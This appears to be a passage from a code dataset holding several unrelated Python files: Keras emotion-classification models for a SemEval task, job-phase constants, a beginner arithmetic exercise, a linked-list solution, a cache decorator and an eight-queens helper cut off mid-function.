dropout=0.2)(y)\n\n # add third conv filter.\n z = Conv2D(100, (3, EMBEDDING_DIM), activation='relu')(embedded_sequences)\n z = MaxPooling2D((MAX_SEQUENCE_LENGTH - 3 + 1, 1))(z)\n z = LSTM(50, dropout=0.2)(z)\n # concate the conv layers\n alpha = concatenate([x, y, z])\n\n # flatted the pooled features.\n alpha = Flatten()(alpha)\n\n # dropout\n alpha = Dropout(0.5)(alpha)\n\n # predictions\n preds = Dense(NUM_CLASSES, activation='softmax')(alpha)\n\n # build model\n model = Model(sequence_input, preds)\n adadelta = optimizers.Adadelta()\n\n model.compile(loss='categorical_crossentropy',\n optimizer=adadelta,\n metrics=['acc'])\n return model\n\ndef build3LSTMModel(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic LSTM model\n \"\"\"\n embeddingLayer = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n model = Sequential()\n model.add(embeddingLayer)\n model.add(LSTM(LSTM_DIM, dropout=0.2, return_sequences=True))\n model.add(LSTM(LSTM_DIM, dropout=0.2, return_sequences=True))\n model.add(LSTM(LSTM_DIM, dropout=0.2))\n model.add(Dense(NUM_CLASSES, activation='sigmoid'))\n model.add(Activation('relu'))\n model.add(Activation('linear'))\n rmsprop = optimizers.rmsprop(lr=LEARNING_RATE)\n model.compile(loss='categorical_crossentropy',\n optimizer=rmsprop,\n metrics=['acc'])\n return model\n\ndef build_CNNLSTM_Model(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic CNN-LSTM model\n \"\"\"\n # Convolution parameters\n filter_length = 3\n nb_filter = 256\n pool_length = 2\n cnn_activation = 'relu'\n border_mode = 'same'\n\n # RNN parameters\n output_size = 50\n rnn_activation = 'tanh'\n recurrent_activation = 'hard_sigmoid'\n\n # Compile parameters\n loss = 'binary_crossentropy'\n optimizer = 'rmsprop'\n\n def swish(x):\n beta = 1.5 # 1, 1.5 or 2\n return beta * x * keras.backend.sigmoid(x)\n embeddingLayer = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n model = Sequential()\n model.add(embeddingLayer)\n model.add(Dropout(0.2))\n model.add(Convolution1D(nb_filter=nb_filter,\n filter_length=filter_length,\n border_mode=border_mode,\n activation=cnn_activation,\n subsample_length=1))\n model.add(MaxPooling1D(pool_length=pool_length))\n # model.add(Dropout(0.2))\n # model.add(SeqSelfAttention(attention_activation='sigmoid'))\n model.add(Bidirectional(LSTM(dropout=0.2,output_dim=output_size)))\n # model.add(Bidirectional(LSTM(dropout=0.2, output_dim=output_size, activation=rnn_activation,recurrent_activation=recurrent_activation)))\n # model.add(Flatten(Reshape((1, filters,))))\n # model.add(Flatten())\n model.add(Dense(NUM_CLASSES, activation =\"sigmoid\"))\n model.add(Dropout(0.25))\n sgd = optimizers.Adam(lr=0.0005, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)\n model.compile(loss=loss,\n optimizer=optimizer,\n metrics=['accuracy'])\n print(model.summary())\n return model\n#working on\ndef build_CNNLSTM_Model_Concat(embeddingMatrix):\n # Convolution parameters\n filter_length = 3\n nb_filter = 256\n pool_length = 2\n cnn_activation = 'relu'\n border_mode = 'same'\n\n # RNN parameters\n output_size = 50\n rnn_activation = 'tanh'\n recurrent_activation = 'hard_sigmoid'\n\n # Compile parameters\n loss = 'binary_crossentropy'\n optimizer = 'rmsprop'\n\n x1 = Input(shape=(MAX_SEQUENCE_LENGTH,), sparse=False, dtype='int32', name='main_input1')\n\n e0 = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n emb1 = e0(x1)\n d=Dropout(0.2)\n o=d(emb1)\n c0 = Convolution1D(nb_filter=nb_filter,\n filter_length=filter_length,\n border_mode=border_mode,\n activation=cnn_activation,\n subsample_length=1)(o)\n c1 = Convolution1D(nb_filter=nb_filter,\n filter_length=5,\n border_mode=border_mode,\n activation=cnn_activation,\n subsample_length=1)(o)\n # c2 = Convolution1D(nb_filter=nb_filter,\n # filter_length=7,\n # border_mode=border_mode,\n # activation=cnn_activation,\n # subsample_length=1)(o)\n c=concatenate([c0,c1])\n p0=MaxPooling1D(pool_length=pool_length)(c)\n\n # p0 = MaxPooling1D(pool_length=pool_length)(p0)\n # p0=Reshape((1))(p0\n # emb1=Flatten()(emb1)\n # p0=Flatten()(p0)\n # print(p0.get_shape())\n # p0 = concatenate([emb1, p0])\n # p0=Reshape((1,))(p0)\n lstm = Bidirectional(LSTM(dropout=0.2,output_dim=output_size))\n out = lstm(p0)\n opt = Dense(NUM_CLASSES, activation='sigmoid')(out)\n dropout=Dropout(0.25)(opt)\n model = Model([x1], dropout)\n model.compile(loss=loss, optimizer=optimizer, metrics=['accuracy'])\n return model\n\ndef build3LSTMModel(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic LSTM model\n \"\"\"\n embeddingLayer = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n model = Sequential()\n model.add(embeddingLayer)\n model.add(LSTM(LSTM_DIM, dropout=0.2, return_sequences=True))\n model.add(LSTM(LSTM_DIM, dropout=0.2, return_sequences=True))\n model.add(LSTM(LSTM_DIM, dropout=0.2))\n model.add(Dense(NUM_CLASSES, activation='sigmoid'))\n model.add(Activation('relu'))\n model.add(Activation('linear'))\n rmsprop = optimizers.rmsprop(lr=LEARNING_RATE)\n model.compile(loss='categorical_crossentropy',\n optimizer=rmsprop,\n metrics=['acc'])\n return model\n\n\ndef model_cnn(embedding_matrix):\n filter_sizes = [1, 2, 3, 5]\n num_filters = 36\n\n inp = Input(shape=(MAX_SEQUENCE_LENGTH,))\n x = Embedding(embedding_matrix.shape[0],EMBEDDING_DIM, weights=[embedding_matrix])(inp)\n x = Reshape((MAX_SEQUENCE_LENGTH, EMBEDDING_DIM, 1))(x)\n\n maxpool_pool = []\n for i in range(len(filter_sizes)):\n conv = Conv2D(num_filters, kernel_size=(filter_sizes[i], EMBEDDING_DIM),\n kernel_initializer='he_normal', activation='elu')(x)\n maxpool_pool.append(MaxPool2D(pool_size=(MAX_SEQUENCE_LENGTH - filter_sizes[i] + 1, 1))(conv))\n\n z = Concatenate(axis=1)(maxpool_pool)\n z = Flatten()(z)\n z=LSTM(LSTM_DIM,dropout=0.2)\n # z = Dropout(0.1)(z)\n\n outp = Dense(NUM_CLASSES, activation=\"sigmoid\")(z)\n outp=Dropout(0.25)(outp)\n model = Model(inputs=inp, outputs=outp)\n model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n return model\n\ndef build_CNNLSTM_Model_With_Different_FilterSize(embeddingMatrix):\n # Convolution parameters\n filter_length = [1, 2, 3, 5]\n nb_filter = 256\n pool_length = 2\n cnn_activation = 'relu'\n border_mode = 'same'\n\n # RNN parameters\n output_size = 50\n rnn_activation = 'tanh'\n recurrent_activation = 'hard_sigmoid'\n\n # Compile parameters\n loss = 'binary_crossentropy'\n optimizer = 'rmsprop'\n\n x1 = Input(shape=(MAX_SEQUENCE_LENGTH,), sparse=False, dtype='int32', name='main_input1')\n\n e0 = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n emb1 = e0(x1)\n d=Dropout(0.2)\n o=d(emb1)\n maxpool_pool = []\n for i in range(len(filter_length)):\n conv = Conv2D(nb_filter, kernel_size=(filter_length[i], EMBEDDING_DIM),\n kernel_initializer='he_normal', activation='elu')(o)\n maxpool_pool.append(MaxPool2D(pool_size=(MAX_SEQUENCE_LENGTH - filter_length[i] + 1, 1))(conv))\n\n z = concatenate(maxpool_pool)\n # z = Flatten()(z)\n z = Dropout(0.1)(z)\n\n\n # c0 = Convolution1D(nb_filter=nb_filter,\n # filter_length=filter_length,\n # border_mode=border_mode,\n # activation=cnn_activation,\n # subsample_length=1)(o)\n # p0=MaxPooling1D(pool_length=pool_length)(c0)\n\n lstm = Bidirectional(LSTM(dropout=0.2,output_dim=output_size))\n out = lstm(z)\n opt = Dense(NUM_CLASSES, activation='sigmoid')(out)\n dropout=Dropout(0.25)(opt)\n model = Model([x1], dropout)\n model.compile(loss=loss, optimizer=optimizer, metrics=['accuracy'])\n return model\n\n\n#workin on end\ndef build_CNNGRU_Model(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic CNN-GRU model\n \"\"\"\n # Convolution parameters\n filter_length = 3\n nb_filter = 150\n pool_length = 2\n cnn_activation = 'relu'\n border_mode = 'same'\n\n # RNN parameters\n output_size = 50\n rnn_activation = 'tanh'\n recurrent_activation = 'hard_sigmoid'\n\n # Compile parameters\n loss = 'binary_crossentropy'\n optimizer = 'rmsprop'\n\n embeddingLayer = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n\n model = Sequential()\n model.add(embeddingLayer)\n model.add(Dropout(0.5))\n model.add(Convolution1D(nb_filter=nb_filter,\n filter_length=filter_length,\n border_mode=border_mode,\n activation=cnn_activation,\n subsample_length=1))\n model.add(MaxPooling1D(pool_length=pool_length))\n model.add(GRU(output_dim=output_size, activation=rnn_activation, recurrent_activation=recurrent_activation))\n model.add(Dropout(0.25))\n model.add(Dense(NUM_CLASSES))\n model.add(Activation('sigmoid'))\n model.compile(loss=loss,\n optimizer=optimizer,\n metrics=['accuracy'])\n\n print('CNN-GRU')\n # model = Sequential()\n # model.add(embeddingLayer)\n # model.add(GRU(output_dim=output_size, activation=rnn_activation, recurrent_activation=recurrent_activation))\n # model.add(Dropout(0.25))\n # model.add(Dense(1))\n # model.add(Activation('sigmoid'))\n #\n # model.compile(loss=loss,\n # optimizer=optimizer,\n # metrics=['accuracy'])\n\n return model\n\ndef build_LSTMCNN_Model_New(embeddingMatrix):\n filters = 250\n kernel_size = 3\n pooling = 'max'\n dropout = None\n hidden_dims = None\n lstm_units = 1800\n\n x1 = Input(shape=(MAX_SEQUENCE_LENGTH,), sparse=False, dtype='int32', name='main_input1')\n\n e0 = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n emb1 = e0(x1)\n # lstm0=LSTM(LSTM_DIM, dropout=DROPOUT,return_sequences=True)\n # out0=lstm0(emb1)\n lstm = Bidirectional(LSTM(lstm_units, return_sequences=True))\n\n out = lstm(emb1)\n d=Dropout(0.25)(out)\n c0 = Conv1D(filters, kernel_size, padding='valid', activation='relu', strides=1)(d)\n p0 = {'max': GlobalMaxPooling1D()(c0), 'avg': GlobalAveragePooling1D()(c0)}.get(pooling, c0)\n opt = Dense(NUM_CLASSES, activation='softmax')(p0)\n # final=Dense(NUM_CLASSES, activation='softmax')(opt)\n\n model = Model([x1], opt)\n\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n return model\n\n\ndef build_LSTMCNN_Model(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic CNN-LSTM model\n\n Compiles the LSTM CNN model\n\n :return: compiled classifier\n\n \"\"\"\n\n filters = 250\n kernel_size = 3\n pooling = 'max'\n dropout = None\n hidden_dims = None\n lstm_units = 1800\n\n x1 = Input(shape=(MAX_SEQUENCE_LENGTH,), sparse=False, dtype='int32', name='main_input1')\n # x2 = Input(shape=(MAX_SEQUENCE_LENGTH,), sparse=False, dtype='int32', name='main_input2')\n # x3 = Input(shape=(MAX_SEQUENCE_LENGTH,), sparse=False, dtype='int32', name='main_input3')\n\n e0 = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n emb1 = e0(x1)\n # emb2 = e0(x2)\n # emb3 = e0(x3)\n\n # lstm = LSTM(lstm_units, return_sequences=True)\n # lstm = Bidirectional(LSTM(lstm_units, dropout=DROPOUT))\n\n # lstm1 = lstm(emb1)\n # lstm2 = lstm(emb2)\n # lstm3 = lstm(emb3)\n\n # inp = Concatenate(axis=-1)([emb1, emb2, emb3])\n\n # print(inp.shape)\n\n # inp = Reshape((1,lstm_units,))(inp)\n\n lstm = LSTM(lstm_units, return_sequences=True)\n # lstm_up = LSTM(lstm_units, dropout=DROPOUT)\n\n out = lstm(emb1)\n\n # ipt = Input(shape=(MAX_SEQUENCE_LENGTH,), sparse=False, dtype='int32')\n # opt = ipt\n #\n # opt = e0(opt)\n # opt = lstm(opt)\n p1 = []\n # # Convolution1D Layer\n\n for ks in range(1, kernel_size + 1):\n # Convolution1D Layer\n c0 = Conv1D(filters, ks, padding='valid', activation='relu', strides=1)(out)\n # Pooling layer:\n p0 = {'max': GlobalMaxPooling1D()(c0), 'avg': GlobalAveragePooling1D()(c0)}.get(pooling, c0)\n p1.append(p0)\n if len(p1) > 1:\n # opt = keras.concatenate(p1, axis=1)\n opt = Concatenate(axis=1)(p1)\n else:\n opt = p1[0]\n\n # Dropout layers\n if dropout is not None:\n d0 = Dropout(dropout)\n opt = d0(opt)\n\n # Output layer with sigmoid activation:\n opt = Dense(NUM_CLASSES, activation='softmax')(opt)\n\n # model = Model(inputs=ipt, outputs=opt)\n model = Model([x1], opt)\n\n # Compile\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n return model\n\ndef build_GRU_Model(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic CNN-GRU model\n \"\"\"\n # Convolution parameters\n filter_length = 3\n nb_filter = 150\n pool_length = 2\n cnn_activation = 'relu'\n border_mode = 'same'\n\n # RNN parameters\n output_size = 50\n rnn_activation = 'tanh'\n recurrent_activation = 'hard_sigmoid'\n\n # Compile parameters\n loss = 'binary_crossentropy'\n optimizer = 'rmsprop'\n\n embeddingLayer = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n\n model = Sequential()\n model.add(embeddingLayer)\n model.add(Dropout(0.5))\n model.add(Convolution1D(nb_filter=nb_filter,\n filter_length=filter_length,\n border_mode=border_mode,\n activation=cnn_activation,\n subsample_length=1))\n model.add(MaxPooling1D(pool_length=pool_length))\n model.add(GRU(output_dim=output_size, activation=rnn_activation, recurrent_activation=recurrent_activation))\n model.add(Dropout(0.25))\n model.add(Dense(NUM_CLASSES))\n model.add(Activation('sigmoid'))\n model.compile(loss=loss,\n optimizer=optimizer,\n metrics=['accuracy'])\n\n print('CNN-GRU')\n # model = Sequential()\n # model.add(embeddingLayer)\n # model.add(GRU(output_dim=output_size, activation=rnn_activation, recurrent_activation=recurrent_activation))\n # model.add(Dropout(0.25))\n # model.add(Dense(1))\n # model.add(Activation('sigmoid'))\n #\n # model.compile(loss=loss,\n # optimizer=optimizer,\n # metrics=['accuracy'])\n\n return model\n\ndef build_BiLSTMCNNwithSelfAttention_Model(wordEmbeddingMatrix):\n filters = 250\n pooling = 'max'\n\n inputs = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32', name='main_input1')\n embd = Embedding(wordEmbeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[wordEmbeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n emb = embd(inputs)\n\n lstm = LSTM(LSTM_DIM, return_sequences=True)\n lstm = lstm(emb)\n print(lstm.shape)\n att = SeqSelfAttention(attention_activation='sigmoid')(lstm)\n\n c0 = Conv1D(filters, 1, padding='valid', activation='relu', strides=1)(att)\n p0 = {'max': GlobalMaxPooling1D()(c0), 'avg': GlobalAveragePooling1D()(c0)}.get(pooling, c0)\n print(p0.shape)\n out = Reshape((1, filters,))(p0)\n flattened = Flatten()(out)\n opt = Dense(NUM_CLASSES, activation='softmax')(flattened)\n\n model = Model([inputs], opt)\n\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n return model\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Baseline Script for SemEval\")\n parser.add_argument('-config', help='Config to read details', required=True)\n args = parser.parse_args()\n\n with open(args.config) as configfile:\n config = json.load(configfile)\n \n global trainDataPath, testDataPath, solutionPath, gloveDir, emojiDir\n global NUM_FOLDS, NUM_CLASSES, MAX_NB_WORDS, MAX_SEQUENCE_LENGTH, EMBEDDING_DIM\n global BATCH_SIZE, LSTM_DIM, DROPOUT, NUM_EPOCHS, LEARNING_RATE \n \n trainDataPath = config[\"train_data_path\"]\n testDataPath = config[\"test_data_path\"]\n solutionPath = config[\"solution_path\"]\n endPath = config[\"standard_data_path\"]\n gloveDir = config[\"glove_dir\"]\n emojiDir = config[\"emoji_dir\"]\n\n NUM_FOLDS = config[\"num_folds\"]\n NUM_CLASSES = config[\"num_classes\"]\n MAX_NB_WORDS = config[\"max_nb_words\"]\n MAX_SEQUENCE_LENGTH = config[\"max_sequence_length\"]\n EMBEDDING_DIM = config[\"embedding_dim\"]\n BATCH_SIZE = config[\"batch_size\"]\n LSTM_DIM = config[\"lstm_dim\"]\n DROPOUT = config[\"dropout\"]\n LEARNING_RATE = config[\"learning_rate\"]\n NUM_EPOCHS = config[\"num_epochs\"]\n \n print(\"Processing training data...\")\n trainIndices, trainTexts, labels = preprocessData(trainDataPath, mode=\"train\")\n # Write normalised text to file to check if normalisation works. Disabled now. Uncomment following line to enable \n # writeNormalisedData(trainDataPath, trainTexts)\n\n trainTextsNew = []\n tweetTokenizer = TweetTokenizer()\n\n for i in range(len(trainTexts)):\n tokens = tweetTokenizer.tokenize(trainTexts[i])\n sent = ' '.join(tokens)\n trainTextsNew.append(sent)\n\n print('Size of trainText = ', len(trainTexts))\n print('Size of trainTextNew = ', len(trainTextsNew))\n\n print(\"Processing test data...\")\n testIndices, testTexts = preprocessData(testDataPath, mode=\"test\")\n # writeNormalisedData(testDataPath, testTexts)\n\n testTextsNew = []\n\n for i in range(len(testTexts)):\n tokens = tweetTokenizer.tokenize(testTexts[i])\n sent = ' '.join(tokens)\n testTextsNew.append(sent)\n\n print('Size of testText = ', len(testTexts))\n print('Size of testTextNew = ', len(testTextsNew))\n\n print(\"Extracting tokens...\")\n tokenizer = Tokenizer(num_words=MAX_NB_WORDS)\n tokenizer.fit_on_texts(trainTexts)\n # stop_words = [\"i\", \"me\", \"my\", \"myself\", \"we\", \"our\", \"ours\", \"ourselves\", \"you\", \"your\", \"yours\", \"yourself\",\n # \"yourselves\", \"he\", \"him\", \"his\", \"himself\", \"she\", \"her\", \"hers\", \"herself\", \"it\", \"its\", \"itself\",\n # \"they\", \"them\", \"their\", \"theirs\", \"themselves\", \"what\", \"which\", \"who\", \"whom\", \"this\", \"that\",\n # \"these\", \"those\", \"am\", \"is\", \"are\", \"was\", \"were\", \"be\", \"been\", \"being\", \"have\", \"has\", \"had\",\n # \"having\", \"do\", \"does\", \"did\", \"doing\", \"a\", \"an\", \"the\", \"and\", \"but\", \"if\", \"or\", \"because\", \"as\",\n # \"until\", \"while\", \"of\", \"at\", \"by\", \"for\", \"with\", \"about\", \"against\", \"between\", \"into\", \"through\",\n # \"during\", \"before\", \"after\", \"above\", \"below\", \"to\", \"from\", \"up\", \"down\", \"in\", \"out\", \"on\", \"off\",\n # \"over\", \"under\", \"again\", \"further\", \"then\", \"once\", \"here\", \"there\", \"when\", \"where\", \"why\", \"how\",\n # \"all\", \"any\", \"both\", \"each\", \"few\", \"more\", \"most\", \"other\", \"some\", \"such\", \"no\", \"nor\", \"not\",\n # \"only\", \"own\", \"same\", \"so\", \"than\", \"too\", \"very\", \"s\", \"t\", \"can\", \"will\", \"just\", \"don\", \"should\",\n # \"now\"]\n # stop_words = stopwords.words('english')\n trainSequences = tokenizer.texts_to_sequences(trainTextsNew)\n # filtered_sentence_train = []\n # for w in trainSequences:\n # if w not in stop_words:\n # filtered_sentence_train.append(w)\n testSequences = tokenizer.texts_to_sequences(testTextsNew)\n # filtered_sentence_test = []\n # for w in testSequences:\n # if w not in stop_words:\n # filtered_sentence_test.append(w)\n\n wordIndex = tokenizer.word_index\n print(\"Found %s unique tokens.\" % len(wordIndex))\n\n print(\"Populating embedding matrix...\")\n embeddingMatrix = getEmbeddingByBin(wordIndex)\n # embeddingMatrix = getEmbeddingMatrix(wordIndex)\n # embeddingMatrix = getEmbeddingMatrixEmoji(wordIndex)\n\n data = pad_sequences(trainSequences, maxlen=MAX_SEQUENCE_LENGTH)\n labels = to_categorical(np.asarray(labels))\n print(\"Shape of training data tensor: \", data.shape)\n print(\"Shape of label tensor: \", labels.shape)\n \n # Randomize data\n np.random.shuffle(trainIndices)\n data = data[trainIndices]\n labels = labels[trainIndices]\n \n # Perform k-fold cross validation\n metrics = {\"accuracy\" : [],\n \"microPrecision\" : [],\n \"microRecall\" : [],\n \"microF1\" : []}\n\n print(\"\\n======================================\")\n \n print(\"Retraining model on entire data to create solution file\")\n model = build_CNNLSTM_Model_Concat(embeddingMatrix)\n model.fit(data, labels, epochs=NUM_EPOCHS, batch_size=BATCH_SIZE)\n model.save('EP%d_LR%de-5_LDim%d_BS%d.h5'%(NUM_EPOCHS, int(LEARNING_RATE*(10**5)), LSTM_DIM, BATCH_SIZE))\n # model = load_model('EP%d_LR%de-5_LDim%d_BS%d.h5'%(NUM_EPOCHS, int(LEARNING_RATE*(10**5)), LSTM_DIM, BATCH_SIZE))\n\n print(\"Creating solution file...\")\n testData = pad_sequences(testSequences, maxlen=MAX_SEQUENCE_LENGTH)\n predictions = model.predict(testData, batch_size=BATCH_SIZE)\n predictions = predictions.argmax(axis=1)\n\n with io.open(solutionPath, \"w\", encoding=\"utf8\") as fout:\n fout.write('\\t'.join([\"id\", \"turn1\", \"turn2\", \"turn3\", \"label\"]) + '\\n') \n with io.open(testDataPath, encoding=\"utf8\") as fin:\n fin.readline()\n for lineNum, line in enumerate(fin):\n fout.write('\\t'.join(line.strip().split('\\t')[:4]) + '\\t')\n fout.write(label2emotion[predictions[lineNum]] + '\\n')\n print(\"Completed. Model parameters: \")\n print(\"Learning rate : %.3f, LSTM Dim : %d, Dropout : %.3f, Batch_size : %d\" \n % (LEARNING_RATE, LSTM_DIM, DROPOUT, BATCH_SIZE))\n\n # print(\"\\n============= Metrics =================\")\n # print(\"Average Cross-Validation Accuracy : %.4f\" % (sum(metrics[\"accuracy\"]) / len(metrics[\"accuracy\"])))\n # print(\"Average Cross-Validation Micro Precision : %.4f\" % (\n # sum(metrics[\"microPrecision\"]) / len(metrics[\"microPrecision\"])))\n # print(\"Average Cross-Validation Micro Recall : %.4f\" % (sum(metrics[\"microRecall\"]) / len(metrics[\"microRecall\"])))\n # print(\"Average Cross-Validation Micro F1 : %.4f\" % (sum(metrics[\"microF1\"]) / len(metrics[\"microF1\"])))\n\n print(\"Calculating F1 value\")\n solIndices, solTexts, sollabels = preprocessData(endPath, mode=\"train\")\n sollabels = to_categorical(np.asarray(sollabels))\n\n endIndices, endTexts, endlabels = preprocessData(solutionPath, mode=\"train\")\n endlabels = to_categorical(np.asarray(endlabels))\n\n # predictions = model.predict(xVal, batch_size=BATCH_SIZE)\n accuracy, microPrecision, microRecall, microF1 = getMetrics(endlabels, sollabels)\n metrics[\"accuracy\"].append(accuracy)\n metrics[\"microPrecision\"].append(microPrecision)\n metrics[\"microRecall\"].append(microRecall)\n metrics[\"microF1\"].append(microF1)\n\nif __name__ == '__main__':\n main()\n","sub_path":"baseline_with_eval_With_Nltk.py","file_name":"baseline_with_eval_With_Nltk.py","file_ext":"py","file_size_in_byte":46204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"518016534","text":"PHASE_PENDING = 'PENDING'\nPHASE_QUEUED = 'QUEUED'\nPHASE_EXECUTING = 'EXECUTING'\nPHASE_COMPLETED = 'COMPLETED'\nPHASE_ERROR = 'ERROR'\nPHASE_ABORTED = 'ABORTED'\nPHASE_UNKNOWN = 'UNKNOWN'\nPHASE_HELD = 'HELD'\nPHASE_SUSPENDED = 'SUSPENDED'\nPHASE_ARCHIVED = 'ARCHIVED'\n\nPHASE_RUN = 'RUN'\nPHASE_ABORT = 'ABORT'\n\nPHASE_ACTIVE = (\n PHASE_PENDING,\n PHASE_QUEUED,\n PHASE_EXECUTING\n)\n","sub_path":"daiquiri/uws/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"552093654","text":"n1 = int(input('Digite um valor:'))\r\nn2 = int(input('Digite outro valor:'))\r\ns = n1 + n2\r\nm = n1 * n2\r\nd = n1 / n2\r\nsu = n1 - n2\r\ndi = n1 // n2\r\np = n1 ** n2\r\nprint('A soma é: {} a subtração é: {}, a multiplicação é: {}, e a divisão é: {:.2f}'.format(s, su, m, d), end=' ')\r\nprint('A divisão inteira é: {} e a potência: {}'.format(di, p))\r\n","sub_path":"exercicio 002.py","file_name":"exercicio 002.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"415057724","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:\n first = ListNode(0)\n first.next = head\n last = head\n head = first\n for _ in range(n):\n last = last.next\n while(last != None):\n first = first.next\n last = last.next\n first.next = first.next.next\n return head.next\n\n'''\n给定一个链表,删除链表的倒数第 n 个节点,并且返回链表的头结点。\n\n示例:\n\n给定一个链表: 1->2->3->4->5, 和 n = 2.\n\n当删除了倒数第二个节点后,链表变为 1->2->3->5.\n说明:\n\n给定的 n 保证是有效的。\n\n进阶:\n\n你能尝试使用一趟扫描实现吗?\n'''","sub_path":"19. 删除链表的倒数第N个节点/pythonCode.py","file_name":"pythonCode.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"581991641","text":"import logging\nfrom datetime import timedelta\nfrom functools import wraps\n\nfrom core_lib.cache.cache_client import CacheClient\nfrom core_lib.cache.cache_key_generator import CacheKeyGenerator\nfrom core_lib.factory.factory import Factory\n\nlogger = logging.getLogger(__name__)\n\n\nclass Cache(object):\n\n _factory = None\n\n # key: The key used to store the value with, when no key specified the function.__qualname__ is used\n # expire: period of time when the value is expired\n # invalidate : remove the value from the cache using the key\n # cache_client_name: what name to use to get the correct `CacheClient`\n def __init__(self,\n key: str = None,\n max_key_length: int = 250,\n expire: timedelta = None,\n invalidate: bool = False,\n cache_client_name: str = None):\n self.key = key\n self.expire = expire\n self.invalidate = invalidate\n self.cache_client_name = cache_client_name\n self.cache_key_generator = CacheKeyGenerator(max_key_length)\n\n def __call__(self, func, *args, **kwargs):\n\n @wraps(func)\n def __wrapper(*args, **kwargs):\n cache_client = Cache.get_cache_client(self.cache_client_name)\n key = self.cache_key_generator.generate_key(self.key, func, *args, **kwargs)\n\n if self.invalidate:\n result = func(*args, **kwargs)\n # Invalidate the cache only after calling decorated function.\n # Reasons:\n # 1. make cached item available during the invalidate function rum\n # 2. On exception don't invalidate\n cache_client.invalidate_cache(key)\n return result\n else:\n result = cache_client.from_cache(key)\n if not result:\n result = func(*args, **kwargs)\n if result:\n cache_client.to_cache(key, result, self.expire)\n return result\n\n return __wrapper\n\n @staticmethod\n def get_cache_client(cache_client_name: str = None):\n if not Cache._factory:\n raise ValueError(\"factory was not set to `{}`\".format(Cache.__class__.__name__))\n cache_client = Cache._factory.get(cache_client_name)\n\n if not cache_client:\n raise ValueError(\"CacheClient by name `{}` was not found in factory\".format(cache_client_name, Cache._factory))\n\n if not isinstance(cache_client, CacheClient):\n raise ValueError(\"CacheClient by name `{}` not instance of CacheClient\".format(cache_client_name))\n\n return cache_client\n\n @staticmethod\n def set_factory(factory: Factory):\n Cache._factory = factory\n","sub_path":"core_lib/cache/cache_decorator.py","file_name":"cache_decorator.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"95183594","text":"def printBoard(queen):\n for n in queen:\n print(\"- \"*n+\"Q\"+\" -\"*(len(queen)-n-1))\n \ndef countAttack(queen):\n count = 0\n for row1 in range( 0, len(queen) ):\n for row2 in range( row1 + 1, len( queen ) ):\n if queen[row1] == queen[row2]:\n count += 1\n elif abs(queen[row1] - queen[row2]) == (row2 - row1):\n count += 1\n return count\n\ndef printMatrix (queen):\n matrix = list(queen);\n for n in range(len(queen)):\n for num in range(len(queen)):\n if (queen[n] != num):\n matrix[n] = num;\n print(\"{:<3}\".format(countAttack(matrix)), end=\"\")\n matrix[n] = queen[n];\n else:\n print(\"{:<3}\".format(\"-\"), end=\"\")\n print();\n\ndef moveOne (queen):\n matrix = list(queen);\n ans=64;\n row=0;\n 